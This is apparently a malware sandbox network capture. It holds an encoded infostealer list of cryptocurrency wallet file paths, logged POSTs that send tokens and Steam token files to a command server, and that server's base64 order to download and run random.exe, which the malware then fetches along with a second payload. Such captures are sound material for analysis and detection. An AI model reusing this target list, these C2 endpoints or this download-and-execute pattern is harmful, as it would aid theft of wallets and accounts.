Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 12, 2024 13:35:43.352369070 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECAECFCAAEBFHIEHDG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 2d 2d 0d 0a Data Ascii: ------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="message"files------DAECAECFCAAEBFHIEHDG--
Nov 12, 2024 13:35:43.629904985 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 13:35:43.646209955 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFIIEHJDBKJKECBFHDG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBFIIEHJDBKJKECBFHDGContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------CBFIIEHJDBKJKECBFHDGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CBFIIEHJDBKJKECBFHDGContent-Disposition: form-data; name="file"------CBFIIEHJDBKJKECBFHDG--
Nov 12, 2024 13:35:44.413225889 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 13:35:44.444308043 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEGCFBGDHJJJJJKJECF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 2d 2d 0d 0a Data Ascii: ------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="message"ybncbhylepme------KJEGCFBGDHJJJJJKJECF--
Nov 12, 2024 13:35:44.722950935 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	62262	185.215.113.16	80	5320	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:35:44.732290983 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 12, 2024 13:35:45.635274887 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:35:45 GMT Content-Type: application/octet-stream Content-Length: 3224064 Last-Modified: Tue, 12 Nov 2024 12:24:58 GMT Connection: keep-alive ETag: "6733491a-313200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 40 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf@1@p11@Wkd'1'1 @.rsrc@.idata @edckxlhyx@fhweoctw011@.taggant0@1"1@
Nov 12, 2024 13:35:45.635301113 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:35:45.635324955 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:35:45.635334969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:35:45.635364056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:35:45.635389090 CET	1236	IN	Data Raw: 88 e5 22 26 99 45 48 60 20 89 e8 4b 21 61 0f 16 ec 25 67 ce 33 a2 66 26 79 a2 ab ea ec 0b 73 4e 24 e4 22 26 99 49 51 60 20 89 08 4b 21 61 0f b6 ec 25 67 ce d3 a3 66 26 79 a2 ab ea ec 0b 6f 4e 3c e4 22 26 99 b5 54 60 20 89 28 4b 21 61 0f d6 ec 25 Data Ascii: "&EH` K!a%g3f&ysN$"&IQ` K!a%gf&yoN<"&T` (K!a%gf&yoN"&1R` HK!av%gf&ycN"&M` hK!a%gf&ycN"&MW` J!a6%gSf&ycNd"&eV` J!aV%gsf&ycNl"&V` J!a%g
Nov 12, 2024 13:35:45.635407925 CET	636	IN	Data Raw: 73 df 66 26 79 a2 ab ea ec 0b 63 4e b0 e7 22 26 99 3d 4d 60 20 89 c8 4e 21 61 0f f6 fa 25 67 ce 13 df 66 26 79 a2 ab ea ec 0b 63 4e b8 e7 22 26 99 1d 53 60 20 89 e8 4e 21 61 0f 16 fb 25 67 ce 33 df 66 26 79 a2 ab ea ec 0b 6f 4e 80 e7 22 26 99 dd Data Ascii: sf&ycN"&=M` N!a%gf&ycN"&S` N!a%g3f&yoN"&T` N!a%gf&ycN"&I` (N!a%gf&ywN"&R` HN!av%gf&ywN"&I` hN!a%gf&y{N"&YR` A!a6%gSf&ywN"&J
Nov 12, 2024 13:35:45.635428905 CET	1236	IN	Data Raw: c1 25 67 ce f3 da 66 26 79 a2 ab ea ec 0b 77 4e c0 e6 22 26 99 6d 48 60 20 89 48 40 21 61 0f 76 c2 25 67 ce 93 da 66 26 79 a2 ab ea ec 0b 77 4e d4 e6 22 26 99 e1 52 60 20 89 68 40 21 61 0f 96 c2 25 67 ce b3 da 66 26 79 a2 ab ea ec 0b 63 4e 28 e9 Data Ascii: %gf&ywN"&mH` H@!av%gf&ywN"&R` h@!a%gf&ycN("&Q` C!a6%gSf&ycN0"&uT` C!aV%gsf&y'N8"&J` C!a%gf&yoN\|"&%W` C!a%g3f&y+NH"&H` C!a%gf&y[N"
Nov 12, 2024 13:35:45.635451078 CET	212	IN	Data Raw: 99 6d 4b 60 20 89 08 47 21 61 0f b6 d0 25 67 ce d3 d7 66 26 79 a2 ab ea ec 0b 73 4e 40 ed 22 26 99 c5 57 60 20 89 28 47 21 61 0f d6 d0 25 67 ce f3 d7 66 26 79 a2 ab ea ec 0b 53 4e 58 ed 22 26 99 c5 4a 60 20 89 48 47 21 61 0f 76 d1 25 67 ce 93 d7 Data Ascii: mK` G!a%gf&ysN@"&W` (G!a%gf&ySNX"&J` HG!av%gf&ycN"&N` hG!a%gf&yN"&T` F!a6%gSf&yoN"&%J` F!aV%gsf&yoN"&W` F!a%gf&
Nov 12, 2024 13:35:45.635462999 CET	1236	IN	Data Raw: 79 a2 ab ea ec 09 57 d5 64 61 8f 02 96 60 67 7f e3 ad ab ea ec 09 f7 d5 64 61 8f 32 96 60 67 7f e3 ad ab ea ec 09 97 d5 64 61 8f 22 96 60 67 7f e3 ad ab ea ec 0b 27 4e d0 ed 22 26 99 9d 4b 60 20 89 38 46 21 61 0f 76 d4 25 67 ce c3 d4 66 26 79 a2 Data Ascii: yWda`gda2`gda"`g'N"&K` 8F!av%gf&yXN`"&W` XF!a%gf&ywda`geN!&' da`gmeN!&' da^`gmkf&Hb g`e'gsf&o7dab`g
Nov 12, 2024 13:35:45.640489101 CET	1236	IN	Data Raw: b4 64 22 26 46 6e b1 26 ab 24 6f a5 e0 65 37 ce 8c 72 64 26 a3 a5 6f e1 26 dd 62 63 20 ea a1 78 7d a3 63 26 ec ad ab ea ec ad ab ea ec ad ab ea ec 37 30 a5 ef 9e ec d7 ab a6 97 29 e1 27 63 53 35 ea 61 d9 30 91 68 e7 5e 69 28 53 29 ea 61 ad ee 3e Data Ascii: d"&Fn&$oe7rd&o&bc x}c&70)'cS5a0h^i(S)a>9@e8xR$a4k4A!&c2.$ps)"$'qn0g#ea7@/f8rd&,i g"&T~#!a}c&4v)w`$1 d"&Fn&$oe7sd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	62314	185.215.113.206	80	5320	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:35:52.261653900 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 2d 2d 0d 0a Data Ascii: ------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BKKJKFBKKECFHJKEBKEH--
Nov 12, 2024 13:35:53.934834003 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 13:35:53.935364008 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	62374	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:03.717830896 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:36:04.643881083 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	62383	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:06.327089071 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:36:07.240637064 CET	468	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 35 0d 0a 20 3c 63 3e 31 30 30 35 37 34 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 37 34 37 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 37 34 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 <c>1005746001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005747031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005748001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	62388	185.215.113.16	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:07.249747992 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 13:36:08.173402071 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:08 GMT Content-Type: application/octet-stream Content-Length: 1782784 Last-Modified: Tue, 12 Nov 2024 12:24:50 GMT Connection: keep-alive ETag: "67334912-1b3400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 80 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 68 00 00 04 00 00 d1 aa [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"h@h@M$a$ $b@.rsrc $r@.idata $r@ *$t@mvlkjrdzNv@qwnzmlhbph@.taggant0h"@
Nov 12, 2024 13:36:08.173420906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:36:08.173430920 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:36:08.173475981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:36:08.173487902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:36:08.173495054 CET	1236	IN	Data Raw: 5e a2 b2 20 18 6a 58 16 60 89 fc 98 10 64 23 24 54 12 c7 fb ef 48 e6 f2 f7 32 da 19 f9 42 3c 0e e8 3a 6d 02 e0 32 05 f6 65 3a 71 e4 47 22 b3 ee f0 30 87 cf e7 f6 ff 73 c3 ee 5f d4 c0 ff e6 c5 1f 46 d6 66 1e 09 df e6 c0 3d cb f6 55 76 b8 2c c7 44 Data Ascii: ^ jX`d#$TH2B<:m2e:qG"0s_Ff=Uv,D"F~!M%,0cg=A.klOF_b^0CV,;7]P2V8;%8hb?F"Cf.KCq73r1~R
Nov 12, 2024 13:36:08.173507929 CET	1236	IN	Data Raw: e0 a7 ad 51 23 33 d1 c6 6b 1e 29 e9 07 38 11 e8 2d b5 c3 a5 29 6f 9e 6e e1 c7 7f ee 83 6a a6 62 69 31 db 9a 25 07 9d 72 49 46 a4 de fc 40 12 64 64 58 ba e4 7b 6f d9 13 64 ff 32 0a 24 e6 c0 29 28 74 42 77 4f 54 16 5c d4 fa fd 14 14 2e e8 ac 57 f9 Data Ascii: Q#3k)8-)onjbi1%rIF@ddX{od2$)(tBwOT\.Wx0V#1<z./yt'<ARry*o7=zv_D}2=(dr~vhEup Xoj0ms/?FPZF3qW
